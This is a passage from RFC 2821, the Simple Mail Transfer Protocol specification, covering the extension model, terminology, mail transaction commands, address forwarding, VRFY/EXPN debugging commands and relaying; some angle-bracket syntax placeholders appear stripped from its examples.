verification of email + addresses or retrieval of mailing list subscriber addresses. + + As suggested above, this protocol provides mechanisms for the + transmission of mail. This transmission normally occurs directly + from the sending user's host to the receiving user's host when the + two hosts are connected to the same transport service. When they are + not connected to the same transport service, transmission occurs via + one or more relay SMTP servers. An intermediate host that acts as + either an SMTP relay or as a gateway into some other transmission + environment is usually selected through the use of the domain name + service (DNS) Mail eXchanger mechanism. + + Usually, intermediate hosts are determined via the DNS MX record, not + by explicit "source" routing (see section 5 and appendices C and + F.2). + +2.2 The Extension Model + +2.2.1 Background + + In an effort that started in 1990, approximately a decade after RFC + 821 was completed, the protocol was modified with a "service + extensions" model that permits the client and server to agree to + utilize shared functionality beyond the original SMTP requirements. + The SMTP extension mechanism defines a means whereby an extended SMTP + client and server may recognize each other, and the server can inform + the client as to the service extensions that it supports. + + Contemporary SMTP implementations MUST support the basic extension + mechanisms. For instance, servers MUST support the EHLO command even + if they do not implement any specific extensions and clients SHOULD + preferentially utilize EHLO rather than HELO. (However, for + compatibility with older conforming implementations, SMTP clients and + servers MUST support the original HELO mechanisms as a fallback.) + Unless the different characteristics of HELO must be identified for + interoperability purposes, this document discusses only EHLO. + + SMTP is widely deployed and high-quality implementations have proven + to be very robust. However, the Internet community now considers + some services to be important that were not anticipated when the + protocol was first designed. If support for those services is to be + added, it must be done in a way that permits older implementations to + continue working acceptably. The extension framework consists of: + + + + +Klensin Standards Track [Page 7] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + - The SMTP command EHLO, superseding the earlier HELO, + + - a registry of SMTP service extensions, + + - additional parameters to the SMTP MAIL and RCPT commands, and + + - optional replacements for commands defined in this protocol, such + as for DATA in non-ASCII transmissions [33]. + + SMTP's strength comes primarily from its simplicity. Experience with + many protocols has shown that protocols with few options tend towards + ubiquity, whereas protocols with many options tend towards obscurity. + + Each and every extension, regardless of its benefits, must be + carefully scrutinized with respect to its implementation, deployment, + and interoperability costs. In many cases, the cost of extending the + SMTP service will likely outweigh the benefit. + +2.2.2 Definition and Registration of Extensions + + The IANA maintains a registry of SMTP service extensions. A + corresponding EHLO keyword value is associated with each extension. + Each service extension registered with the IANA must be defined in a + formal standards-track or IESG-approved experimental protocol + document. The definition must include: + + - the textual name of the SMTP service extension; + + - the EHLO keyword value associated with the extension; + + - the syntax and possible values of parameters associated with the + EHLO keyword value; + + - any additional SMTP verbs associated with the extension + (additional verbs will usually be, but are not required to be, the + same as the EHLO keyword value); + + - any new parameters the extension associates with the MAIL or RCPT + verbs; + + - a description of how support for the extension affects the + behavior of a server and client SMTP; and, + + - the increment by which the extension is increasing the maximum + length of the commands MAIL and/or RCPT, over that specified in + this standard. + + + + + +Klensin Standards Track [Page 8] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + In addition, any EHLO keyword value starting with an upper or lower + case "X" refers to a local SMTP service extension used exclusively + through bilateral agreement. Keywords beginning with "X" MUST NOT be + used in a registered service extension. Conversely, keyword values + presented in the EHLO response that do not begin with "X" MUST + correspond to a standard, standards-track, or IESG-approved + experimental SMTP service extension registered with IANA. A + conforming server MUST NOT offer non-"X"-prefixed keyword values that + are not described in a registered extension. + + Additional verbs and parameter names are bound by the same rules as + EHLO keywords; specifically, verbs beginning with "X" are local + extensions that may not be registered or standardized. Conversely, + verbs not beginning with "X" must always be registered. + +2.3 Terminology + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described below. + + 1. MUST This word, or the terms "REQUIRED" or "SHALL", mean that + the definition is an absolute requirement of the specification. + + 2. MUST NOT This phrase, or the phrase "SHALL NOT", mean that the + definition is an absolute prohibition of the specification. + + 3. SHOULD This word, or the adjective "RECOMMENDED", mean that + there may exist valid reasons in particular circumstances to + ignore a particular item, but the full implications must be + understood and carefully weighed before choosing a different + course. + + 4. SHOULD NOT This phrase, or the phrase "NOT RECOMMENDED" mean + that there may exist valid reasons in particular circumstances + when the particular behavior is acceptable or even useful, but the + full implications should be understood and the case carefully + weighed before implementing any behavior described with this + label. + + 5. MAY This word, or the adjective "OPTIONAL", mean that an item is + truly optional. One vendor may choose to include the item because + a particular marketplace requires it or because the vendor feels + that it enhances the product while another vendor may omit the + same item. An implementation which does not include a particular + option MUST be prepared to interoperate with another + implementation which does include the option, though perhaps with + reduced functionality. In the same vein an implementation which + + + +Klensin Standards Track [Page 9] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + does include a particular option MUST be prepared to interoperate + with another implementation which does not include the option + (except, of course, for the feature the option provides.) + +2.3.1 Mail Objects + + SMTP transports a mail object. A mail object contains an envelope + and content. + + The SMTP envelope is sent as a series of SMTP protocol units + (described in section 3). It consists of an originator address (to + which error reports should be directed); one or more recipient + addresses; and optional protocol extension material. Historically, + variations on the recipient address specification command (RCPT TO) + could be used to specify alternate delivery modes, such as immediate + display; those variations have now been deprecated (see appendix F, + section F.6). + + The SMTP content is sent in the SMTP DATA protocol unit and has two + parts: the headers and the body. If the content conforms to other + contemporary standards, the headers form a collection of field/value + pairs structured as in the message format specification [32]; the + body, if structured, is defined according to MIME [12]. The content + is textual in nature, expressed using the US-ASCII repertoire [1]. + Although SMTP extensions (such as "8BITMIME" [20]) may relax this + restriction for the content body, the content headers are always + encoded using the US-ASCII repertoire. A MIME extension [23] defines + an algorithm for representing header values outside the US-ASCII + repertoire, while still encoding them using the US-ASCII repertoire. + +2.3.2 Senders and Receivers + + In RFC 821, the two hosts participating in an SMTP transaction were + described as the "SMTP-sender" and "SMTP-receiver". This document + has been changed to reflect current industry terminology and hence + refers to them as the "SMTP client" (or sometimes just "the client") + and "SMTP server" (or just "the server"), respectively. Since a + given host may act both as server and client in a relay situation, + "receiver" and "sender" terminology is still used where needed for + clarity. + +2.3.3 Mail Agents and Message Stores + + Additional mail system terminology became common after RFC 821 was + published and, where convenient, is used in this specification. In + particular, SMTP servers and clients provide a mail transport service + and therefore act as "Mail Transfer Agents" (MTAs). "Mail User + Agents" (MUAs or UAs) are normally thought of as the sources and + + + +Klensin Standards Track [Page 10] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + targets of mail. At the source, an MUA might collect mail to be + transmitted from a user and hand it off to an MTA; the final + ("delivery") MTA would be thought of as handing the mail off to an + MUA (or at least transferring responsibility to it, e.g., by + depositing the message in a "message store"). However, while these + terms are used with at least the appearance of great precision in + other environments, the implied boundaries between MUAs and MTAs + often do not accurately match common, and conforming, practices with + Internet mail. Hence, the reader should be cautious about inferring + the strong relationships and responsibilities that might be implied + if these terms were used elsewhere. + +2.3.4 Host + + For the purposes of this specification, a host is a computer system + attached to the Internet (or, in some cases, to a private TCP/IP + network) and supporting the SMTP protocol. Hosts are known by names + (see "domain"); identifying them by numerical address is discouraged. + +2.3.5 Domain + + A domain (or domain name) consists of one or more dot-separated + components. These components ("labels" in DNS terminology [22]) are + restricted for SMTP purposes to consist of a sequence of letters, + digits, and hyphens drawn from the ASCII character set [1]. Domain + names are used as names of hosts and of other entities in the domain + name hierarchy. For example, a domain may refer to an alias (label + of a CNAME RR) or the label of Mail eXchanger records to be used to + deliver mail instead of representing a host name. See [22] and + section 5 of this specification. + + The domain name, as described in this document and in [22], is the + entire, fully-qualified name (often referred to as an "FQDN"). A + domain name that is not in FQDN form is no more than a local alias. + Local aliases MUST NOT appear in any SMTP transaction. + +2.3.6 Buffer and State Table + + SMTP sessions are stateful, with both parties carefully maintaining a + common view of the current state. In this document we model this + state by a virtual "buffer" and a "state table" on the server which + may be used by the client to, for example, "clear the buffer" or + "reset the state table," causing the information in the buffer to be + discarded and the state to be returned to some previous state. + + + + + + + +Klensin Standards Track [Page 11] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +2.3.7 Lines + + SMTP commands and, unless altered by a service extension, message + data, are transmitted in "lines". Lines consist of zero or more data + characters terminated by the sequence ASCII character "CR" (hex value + 0D) followed immediately by ASCII character "LF" (hex value 0A). + This termination sequence is denoted as in this document. + Conforming implementations MUST NOT recognize or generate any other + character or character sequence as a line terminator. Limits MAY be + imposed on line lengths by servers (see section 4.5.3). + + In addition, the appearance of "bare" "CR" or "LF" characters in text + (i.e., either without the other) has a long history of causing + problems in mail implementations and applications that use the mail + system as a tool. SMTP client implementations MUST NOT transmit + these characters except when they are intended as line terminators + and then MUST, as indicated above, transmit them only as a + sequence. + +2.3.8 Originator, Delivery, Relay, and Gateway Systems + + This specification makes a distinction among four types of SMTP + systems, based on the role those systems play in transmitting + electronic mail. An "originating" system (sometimes called an SMTP + originator) introduces mail into the Internet or, more generally, + into a transport service environment. A "delivery" SMTP system is + one that receives mail from a transport service environment and + passes it to a mail user agent or deposits it in a message store + which a mail user agent is expected to subsequently access. A + "relay" SMTP system (usually referred to just as a "relay") receives + mail from an SMTP client and transmits it, without modification to + the message data other than adding trace information, to another SMTP + server for further relaying or for delivery. + + A "gateway" SMTP system (usually referred to just as a "gateway") + receives mail from a client system in one transport environment and + transmits it to a server system in another transport environment. + Differences in protocols or message semantics between the transport + environments on either side of a gateway may require that the gateway + system perform transformations to the message that are not permitted + to SMTP relay systems. For the purposes of this specification, + firewalls that rewrite addresses should be considered as gateways, + even if SMTP is used on both sides of them (see [11]). + + + + + + + + +Klensin Standards Track [Page 12] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +2.3.9 Message Content and Mail Data + + The terms "message content" and "mail data" are used interchangeably + in this document to describe the material transmitted after the DATA + command is accepted and before the end of data indication is + transmitted. Message content includes message headers and the + possibly-structured message body. The MIME specification [12] + provides the standard mechanisms for structured message bodies. + +2.3.10 Mailbox and Address + + As used in this specification, an "address" is a character string + that identifies a user to whom mail will be sent or a location into + which mail will be deposited. The term "mailbox" refers to that + depository. The two terms are typically used interchangeably unless + the distinction between the location in which mail is placed (the + mailbox) and a reference to it (the address) is important. An + address normally consists of user and domain specifications. The + standard mailbox naming convention is defined to be "local- + part@domain": contemporary usage permits a much broader set of + applications than simple "user names". Consequently, and due to a + long history of problems when intermediate hosts have attempted to + optimize transport by modifying them, the local-part MUST be + interpreted and assigned semantics only by the host specified in the + domain part of the address. + +2.3.11 Reply + + An SMTP reply is an acknowledgment (positive or negative) sent from + receiver to sender via the transmission channel in response to a + command. The general form of a reply is a numeric completion code + (indicating failure or success) usually followed by a text string. + The codes are for use by programs and the text is usually intended + for human users. Recent work [34] has specified further structuring + of the reply strings, including the use of supplemental and more + specific completion codes. + +2.4 General Syntax Principles and Transaction Model + + SMTP commands and replies have a rigid syntax. All commands begin + with a command verb. All Replies begin with a three digit numeric + code. In some commands and replies, arguments MUST follow the verb + or reply code. Some commands do not accept arguments (after the + verb), and some reply codes are followed, sometimes optionally, by + free form text. In both cases, where text appears, it is separated + from the verb or reply code by a space character. Complete + definitions of commands and replies appear in section 4. + + + + +Klensin Standards Track [Page 13] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + Verbs and argument values (e.g., "TO:" or "to:" in the RCPT command + and extension name keywords) are not case sensitive, with the sole + exception in this specification of a mailbox local-part (SMTP + Extensions may explicitly specify case-sensitive elements). That is, + a command verb, an argument value other than a mailbox local-part, + and free form text MAY be encoded in upper case, lower case, or any + mixture of upper and lower case with no impact on its meaning. This + is NOT true of a mailbox local-part. The local-part of a mailbox + MUST BE treated as case sensitive. Therefore, SMTP implementations + MUST take care to preserve the case of mailbox local-parts. Mailbox + domains are not case sensitive. In particular, for some hosts the + user "smith" is different from the user "Smith". However, exploiting + the case sensitivity of mailbox local-parts impedes interoperability + and is discouraged. + + A few SMTP servers, in violation of this specification (and RFC 821) + require that command verbs be encoded by clients in upper case. + Implementations MAY wish to employ this encoding to accommodate those + servers. + + The argument field consists of a variable length character string + ending with the end of the line, i.e., with the character sequence + . The receiver will take no action until this sequence is + received. + + The syntax for each command is shown with the discussion of that + command. Common elements and parameters are shown in section 4.1.2. + + Commands and replies are composed of characters from the ASCII + character set [1]. When the transport service provides an 8-bit byte + (octet) transmission channel, each 7-bit character is transmitted + right justified in an octet with the high order bit cleared to zero. + More specifically, the unextended SMTP service provides seven bit + transport only. An originating SMTP client which has not + successfully negotiated an appropriate extension with a particular + server MUST NOT transmit messages with information in the high-order + bit of octets. If such messages are transmitted in violation of this + rule, receiving SMTP servers MAY clear the high-order bit or reject + the message as invalid. In general, a relay SMTP SHOULD assume that + the message content it has received is valid and, assuming that the + envelope permits doing so, relay it without inspecting that content. + Of course, if the content is mislabeled and the data path cannot + accept the actual content, this may result in ultimate delivery of a + severely garbled message to the recipient. Delivery SMTP systems MAY + reject ("bounce") such messages rather than deliver them. No sending + SMTP system is permitted to send envelope commands in any character + + + + + +Klensin Standards Track [Page 14] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + set other than US-ASCII; receiving systems SHOULD reject such + commands, normally using "500 syntax error - invalid character" + replies. + + Eight-bit message content transmission MAY be requested of the server + by a client using extended SMTP facilities, notably the "8BITMIME" + extension [20]. 8BITMIME SHOULD be supported by SMTP servers. + However, it MUST not be construed as authorization to transmit + unrestricted eight bit material. 8BITMIME MUST NOT be requested by + senders for material with the high bit on that is not in MIME format + with an appropriate content-transfer encoding; servers MAY reject + such messages. + + The metalinguistic notation used in this document corresponds to the + "Augmented BNF" used in other Internet mail system documents. The + reader who is not familiar with that syntax should consult the ABNF + specification [8]. Metalanguage terms used in running text are + surrounded by pointed brackets (e.g., ) for clarity. + +3. The SMTP Procedures: An Overview + + This section contains descriptions of the procedures used in SMTP: + session initiation, the mail transaction, forwarding mail, verifying + mailbox names and expanding mailing lists, and the opening and + closing exchanges. Comments on relaying, a note on mail domains, and + a discussion of changing roles are included at the end of this + section. Several complete scenarios are presented in appendix D. + +3.1 Session Initiation + + An SMTP session is initiated when a client opens a connection to a + server and the server responds with an opening message. + + SMTP server implementations MAY include identification of their + software and version information in the connection greeting reply + after the 220 code, a practice that permits more efficient isolation + and repair of any problems. Implementations MAY make provision for + SMTP servers to disable the software and version announcement where + it causes security concerns. While some systems also identify their + contact point for mail problems, this is not a substitute for + maintaining the required "postmaster" address (see section 4.5.1). + + The SMTP protocol allows a server to formally reject a transaction + while still allowing the initial connection as follows: a 554 + response MAY be given in the initial connection opening message + instead of the 220. A server taking this approach MUST still wait + for the client to send a QUIT (see section 4.1.1.10) before closing + the connection and SHOULD respond to any intervening commands with + + + +Klensin Standards Track [Page 15] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + "503 bad sequence of commands". Since an attempt to make an SMTP + connection to such a system is probably in error, a server returning + a 554 response on connection opening SHOULD provide enough + information in the reply text to facilitate debugging of the sending + system. + +3.2 Client Initiation + + Once the server has sent the welcoming message and the client has + received it, the client normally sends the EHLO command to the + server, indicating the client's identity. In addition to opening the + session, use of EHLO indicates that the client is able to process + service extensions and requests that the server provide a list of the + extensions it supports. Older SMTP systems which are unable to + support service extensions and contemporary clients which do not + require service extensions in the mail session being initiated, MAY + use HELO instead of EHLO. Servers MUST NOT return the extended + EHLO-style response to a HELO command. For a particular connection + attempt, if the server returns a "command not recognized" response to + EHLO, the client SHOULD be able to fall back and send HELO. + + In the EHLO command the host sending the command identifies itself; + the command may be interpreted as saying "Hello, I am " (and, + in the case of EHLO, "and I support service extension requests"). + +3.3 Mail Transactions + + There are three steps to SMTP mail transactions. The transaction + starts with a MAIL command which gives the sender identification. + (In general, the MAIL command may be sent only when no mail + transaction is in progress; see section 4.1.4.) A series of one or + more RCPT commands follows giving the receiver information. Then a + DATA command initiates transfer of the mail data and is terminated by + the "end of mail" data indicator, which also confirms the + transaction. + + The first step in the procedure is the MAIL command. + + MAIL FROM: [SP ] + + This command tells the SMTP-receiver that a new mail transaction is + starting and to reset all its state tables and buffers, including any + recipients or mail data. The portion of the first or + only argument contains the source mailbox (between "<" and ">" + brackets), which can be used to report errors (see section 4.2 for a + discussion of error reporting). If accepted, the SMTP server returns + a 250 OK reply. If the mailbox specification is not acceptable for + some reason, the server MUST return a reply indicating whether the + + + +Klensin Standards Track [Page 16] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + failure is permanent (i.e., will occur again if the client tries to + send the same address again) or temporary (i.e., the address might be + accepted if the client tries again later). Despite the apparent + scope of this requirement, there are circumstances in which the + acceptability of the reverse-path may not be determined until one or + more forward-paths (in RCPT commands) can be examined. In those + cases, the server MAY reasonably accept the reverse-path (with a 250 + reply) and then report problems after the forward-paths are received + and examined. Normally, failures produce 550 or 553 replies. + + Historically, the can contain more than just a + mailbox, however, contemporary systems SHOULD NOT use source routing + (see appendix C). + + The optional are associated with negotiated SMTP + service extensions (see section 2.2). + + The second step in the procedure is the RCPT command. + + RCPT TO: [ SP ] + + The first or only argument to this command includes a forward-path + (normally a mailbox and domain, always surrounded by "<" and ">" + brackets) identifying one recipient. If accepted, the SMTP server + returns a 250 OK reply and stores the forward-path. If the recipient + is known not to be a deliverable address, the SMTP server returns a + 550 reply, typically with a string such as "no such user - " and the + mailbox name (other circumstances and reply codes are possible). + This step of the procedure can be repeated any number of times. + + The can contain more than just a mailbox. + Historically, the can be a source routing list of + hosts and the destination mailbox, however, contemporary SMTP clients + SHOULD NOT utilize source routes (see appendix C). Servers MUST be + prepared to encounter a list of source routes in the forward path, + but SHOULD ignore the routes or MAY decline to support the relaying + they imply. Similarly, servers MAY decline to accept mail that is + destined for other hosts or systems. These restrictions make a + server useless as a relay for clients that do not support full SMTP + functionality. Consequently, restricted-capability clients MUST NOT + assume that any SMTP server on the Internet can be used as their mail + processing (relaying) site. If a RCPT command appears without a + previous MAIL command, the server MUST return a 503 "Bad sequence of + commands" response. The optional are associated + with negotiated SMTP service extensions (see section 2.2). + + The third step in the procedure is the DATA command (or some + alternative specified in a service extension). + + + +Klensin Standards Track [Page 17] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + DATA + + If accepted, the SMTP server returns a 354 Intermediate reply and + considers all succeeding lines up to but not including the end of + mail data indicator to be the message text. When the end of text is + successfully received and stored the SMTP-receiver sends a 250 OK + reply. + + Since the mail data is sent on the transmission channel, the end of + mail data must be indicated so that the command and reply dialog can + be resumed. SMTP indicates the end of the mail data by sending a + line containing only a "." (period or full stop). A transparency + procedure is used to prevent this from interfering with the user's + text (see section 4.5.2). + + The end of mail data indicator also confirms the mail transaction and + tells the SMTP server to now process the stored recipients and mail + data. If accepted, the SMTP server returns a 250 OK reply. The DATA + command can fail at only two points in the protocol exchange: + + - If there was no MAIL, or no RCPT, command, or all such commands + were rejected, the server MAY return a "command out of sequence" + (503) or "no valid recipients" (554) reply in response to the DATA + command. If one of those replies (or any other 5yz reply) is + received, the client MUST NOT send the message data; more + generally, message data MUST NOT be sent unless a 354 reply is + received. + + - If the verb is initially accepted and the 354 reply issued, the + DATA command should fail only if the mail transaction was + incomplete (for example, no recipients), or if resources were + unavailable (including, of course, the server unexpectedly + becoming unavailable), or if the server determines that the + message should be rejected for policy or other reasons. + + However, in practice, some servers do not perform recipient + verification until after the message text is received. These servers + SHOULD treat a failure for one or more recipients as a "subsequent + failure" and return a mail message as discussed in section 6. Using + a "550 mailbox not found" (or equivalent) reply code after the data + are accepted makes it difficult or impossible for the client to + determine which recipients failed. + + When RFC 822 format [7, 32] is being used, the mail data include the + memo header items such as Date, Subject, To, Cc, From. Server SMTP + systems SHOULD NOT reject messages based on perceived defects in the + RFC 822 or MIME [12] message header or message body. In particular, + + + + +Klensin Standards Track [Page 18] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + they MUST NOT reject messages in which the numbers of Resent-fields + do not match or Resent-to appears without Resent-from and/or Resent- + date. + + Mail transaction commands MUST be used in the order discussed above. + +3.4 Forwarding for Address Correction or Updating + + Forwarding support is most often required to consolidate and simplify + addresses within, or relative to, some enterprise and less frequently + to establish addresses to link a person's prior address with current + one. Silent forwarding of messages (without server notification to + the sender), for security or non-disclosure purposes, is common in + the contemporary Internet. + + In both the enterprise and the "new address" cases, information + hiding (and sometimes security) considerations argue against exposure + of the "final" address through the SMTP protocol as a side-effect of + the forwarding activity. This may be especially important when the + final address may not even be reachable by the sender. Consequently, + the "forwarding" mechanisms described in section 3.2 of RFC 821, and + especially the 251 (corrected destination) and 551 reply codes from + RCPT must be evaluated carefully by implementers and, when they are + available, by those configuring systems. + + In particular: + + * Servers MAY forward messages when they are aware of an address + change. When they do so, they MAY either provide address-updating + information with a 251 code, or may forward "silently" and return + a 250 code. But, if a 251 code is used, they MUST NOT assume that + the client will actually update address information or even return + that information to the user. + + Alternately, + + * Servers MAY reject or bounce messages when they are not + deliverable when addressed. When they do so, they MAY either + provide address-updating information with a 551 code, or may + reject the message as undeliverable with a 550 code and no + address-specific information. But, if a 551 code is used, they + MUST NOT assume that the client will actually update address + information or even return that information to the user. + + SMTP server implementations that support the 251 and/or 551 reply + codes are strongly encouraged to provide configuration mechanisms so + that sites which conclude that they would undesirably disclose + information can disable or restrict their use. + + + +Klensin Standards Track [Page 19] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +3.5 Commands for Debugging Addresses + +3.5.1 Overview + + SMTP provides commands to verify a user name or obtain the content of + a mailing list. This is done with the VRFY and EXPN commands, which + have character string arguments. Implementations SHOULD support VRFY + and EXPN (however, see section 3.5.2 and 7.3). + + For the VRFY command, the string is a user name or a user name and + domain (see below). If a normal (i.e., 250) response is returned, + the response MAY include the full name of the user and MUST include + the mailbox of the user. It MUST be in either of the following + forms: + + User Name + local-part@domain + + When a name that is the argument to VRFY could identify more than one + mailbox, the server MAY either note the ambiguity or identify the + alternatives. In other words, any of the following are legitimate + response to VRFY: + + 553 User ambiguous + + or + + 553- Ambiguous; Possibilities are + 553-Joe Smith + 553-Harry Smith + 553 Melvin Smith + + or + + 553-Ambiguous; Possibilities + 553- + 553- + 553 + + Under normal circumstances, a client receiving a 553 reply would be + expected to expose the result to the user. Use of exactly the forms + given, and the "user ambiguous" or "ambiguous" keywords, possibly + supplemented by extended reply codes such as those described in [34], + will facilitate automated translation into other languages as needed. + Of course, a client that was highly automated or that was operating + in another language than English, might choose to try to translate + the response, to return some other indication to the user than the + + + + +Klensin Standards Track [Page 20] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + literal text of the reply, or to take some automated action such as + consulting a directory service for additional information before + reporting to the user. + + For the EXPN command, the string identifies a mailing list, and the + successful (i.e., 250) multiline response MAY include the full name + of the users and MUST give the mailboxes on the mailing list. + + In some hosts the distinction between a mailing list and an alias for + a single mailbox is a bit fuzzy, since a common data structure may + hold both types of entries, and it is possible to have mailing lists + containing only one mailbox. If a request is made to apply VRFY to a + mailing list, a positive response MAY be given if a message so + addressed would be delivered to everyone on the list, otherwise an + error SHOULD be reported (e.g., "550 That is a mailing list, not a + user" or "252 Unable to verify members of mailing list"). If a + request is made to expand a user name, the server MAY return a + positive response consisting of a list containing one name, or an + error MAY be reported (e.g., "550 That is a user name, not a mailing + list"). + + In the case of a successful multiline reply (normal for EXPN) exactly + one mailbox is to be specified on each line of the reply. The case + of an ambiguous request is discussed above. + + "User name" is a fuzzy term and has been used deliberately. An + implementation of the VRFY or EXPN commands MUST include at least + recognition of local mailboxes as "user names". However, since + current Internet practice often results in a single host handling + mail for multiple domains, hosts, especially hosts that provide this + functionality, SHOULD accept the "local-part@domain" form as a "user + name"; hosts MAY also choose to recognize other strings as "user + names". + + The case of expanding a mailbox list requires a multiline reply, such + as: + + C: EXPN Example-People + S: 250-Jon Postel + S: 250-Fred Fonebone + S: 250 Sam Q. Smith + + or + + C: EXPN Executive-Washroom-List + S: 550 Access Denied to You. + + + + + +Klensin Standards Track [Page 21] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + The character string arguments of the VRFY and EXPN commands cannot + be further restricted due to the variety of implementations of the + user name and mailbox list concepts. On some systems it may be + appropriate for the argument of the EXPN command to be a file name + for a file containing a mailing list, but again there are a variety + of file naming conventions in the Internet. Similarly, historical + variations in what is returned by these commands are such that the + response SHOULD be interpreted very carefully, if at all, and SHOULD + generally only be used for diagnostic purposes. + +3.5.2 VRFY Normal Response + + When normal (2yz or 551) responses are returned from a VRFY or EXPN + request, the reply normally includes the mailbox name, i.e., + "", where "domain" is a fully qualified domain + name, MUST appear in the syntax. In circumstances exceptional enough + to justify violating the intent of this specification, free-form text + MAY be returned. In order to facilitate parsing by both computers + and people, addresses SHOULD appear in pointed brackets. When + addresses, rather than free-form debugging information, are returned, + EXPN and VRFY MUST return only valid domain addresses that are usable + in SMTP RCPT commands. Consequently, if an address implies delivery + to a program or other system, the mailbox name used to reach that + target MUST be given. Paths (explicit source routes) MUST NOT be + returned by VRFY or EXPN. + + Server implementations SHOULD support both VRFY and EXPN. For + security reasons, implementations MAY provide local installations a + way to disable either or both of these commands through configuration + options or the equivalent. When these commands are supported, they + are not required to work across relays when relaying is supported. + Since they were both optional in RFC 821, they MUST be listed as + service extensions in an EHLO response, if they are supported. + +3.5.3 Meaning of VRFY or EXPN Success Response + + A server MUST NOT return a 250 code in response to a VRFY or EXPN + command unless it has actually verified the address. In particular, + a server MUST NOT return 250 if all it has done is to verify that the + syntax given is valid. In that case, 502 (Command not implemented) + or 500 (Syntax error, command unrecognized) SHOULD be returned. As + stated elsewhere, implementation (in the sense of actually validating + addresses and returning information) of VRFY and EXPN are strongly + recommended. Hence, implementations that return 500 or 502 for VRFY + are not in full compliance with this specification. + + + + + + +Klensin Standards Track [Page 22] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + There may be circumstances where an address appears to be valid but + cannot reasonably be verified in real time, particularly when a + server is acting as a mail exchanger for another server or domain. + "Apparent validity" in this case would normally involve at least + syntax checking and might involve verification that any domains + specified were ones to which the host expected to be able to relay + mail. In these situations, reply code 252 SHOULD be returned. These + cases parallel the discussion of RCPT verification discussed in + section 2.1. Similarly, the discussion in section 3.4 applies to the + use of reply codes 251 and 551 with VRFY (and EXPN) to indicate + addresses that are recognized but that would be forwarded or bounced + were mail received for them. Implementations generally SHOULD be + more aggressive about address verification in the case of VRFY than + in the case of RCPT, even if it takes a little longer to do so. + +3.5.4 Semantics and Applications of EXPN + + EXPN is often very useful in debugging and understanding problems + with mailing lists and multiple-target-address aliases. Some systems + have attempted to use source expansion of mailing lists as a means of + eliminating duplicates. The propagation of aliasing systems with + mail on the Internet, for hosts (typically with MX and CNAME DNS + records), for mailboxes (various types of local host aliases), and in + various proxying arrangements, has made it nearly impossible for + these strategies to work consistently, and mail systems SHOULD NOT + attempt them. + +3.6 Domains + + Only resolvable, fully-qualified, domain names (FQDNs) are permitted + when domain names are used in SMTP. In other words, names that can + be resolved to MX RRs or A RRs (as discussed in section 5) are + permitted, as are CNAME RRs whose targets can be resolved, in turn, + to MX or A RRs. Local nicknames or unqualified names MUST NOT be + used. There are two exceptions to the rule requiring FQDNs: + + - The domain name given in the EHLO command MUST BE either a primary + host name (a domain name that resolves to an A RR) or, if the host + has no name, an address literal as described in section 4.1.1.1. + + - The reserved mailbox name "postmaster" may be used in a RCPT + command without domain qualification (see section 4.1.1.3) and + MUST be accepted if so used. + + + + + + + + +Klensin Standards Track [Page 23] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +3.7 Relaying + + In general, the availability of Mail eXchanger records in the domain + name system [22, 27] makes the use of explicit source routes in the + Internet mail system unnecessary. Many historical problems with + their interpretation have made their use undesirable. SMTP clients + SHOULD NOT generate explicit source routes except under unusual + circumstances. SMTP servers MAY decline to act as mail relays or to + accept addresses that specify source routes. When route information + is encountered, SMTP servers are also permitted to ignore the route + information and simply send to the final destination specified as the + last element in the route and SHOULD do so. There has been an + invalid practice of using names that do not appear in the DNS as + destination names, with the senders counting on the intermediate + hosts specified in source routing to resolve any problems. If source + routes are stripped, this practice will cause failures. This is one + of several reasons why SMTP clients MUST NOT generate invalid source + routes or depend on serial resolution of names. + + When source routes are not used, the process described in RFC 821 for + constructing a reverse-path from the forward-path is not applicable + and the reverse-path at the time of delivery will simply be the + address that appeared in the MAIL command. + + A relay SMTP server is usually the target of a DNS MX record that + designates it, rather than the final delivery system. The relay + server may accept or reject the task of relaying the mail in the same + way it accepts or rejects mail for a local user. If it accepts the + task, it then becomes an SMTP client, establishes a transmission + channel to the next SMTP server specified in the DNS (according to + the rules in section 5), and sends it the mail. If it declines to + relay mail to a particular address for policy reasons, a 550 response + SHOULD be returned. + + Many mail-sending clients exist, especially in conjunction with + facilities that receive mail via POP3 or IMAP, that have limited + capability to support some of the requirements of this specification, + such as the ability to queue messages for subsequent delivery + attempts. For these clients, it is common practice to make private + arrangements to send all messages to a single server for processing + and subsequent distribution. SMTP, as specified here, is not ideally + suited for this role, and work is underway on standardized mail + submission protocols that might eventually supercede the current + practices. In any event, because these arrangements are private and + fall outside the scope of this specification, they are not described + here. + + + + + +Klensin Standards Track [Page 24] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + It is important to note that MX records can point to SMTP servers + which act as gateways into other environments, not just SMTP relays + and final delivery systems; see sections 3.8 and 5. + + If an SMTP server has accepted the task of relaying the mail and + later finds that the destination is incorrect or that the mail cannot + be delivered for some other reason, then it MUST construct an + "undeliverable mail" notification message and send it to the + originator of the undeliverable mail (as indicated by the reverse- + path). Formats specified for non-delivery reports by other standards + (see, for example, [24, 25]) SHOULD be used if possible. + + This notification message must be from the SMTP server at the relay + host or the host that first determines that delivery cannot be + accomplished. Of course, SMTP servers MUST NOT send notification + messages about problems transporting notification messages. One way + to prevent loops in error reporting is to specify a null reverse-path + in the MAIL command of a notification message. When such a message + is transmitted the reverse-path MUST be set to null (see section + 4.5.5 for additional discussion). A MAIL command with a null + reverse-path appears as follows: + + MAIL FROM:<> + + As discussed in section 2.4.1, a relay SMTP has no need to inspect or + act upon the headers or body of the message data and MUST NOT do so + except to add its own "Received:" header (section 4.4) and, + optionally, to attempt to 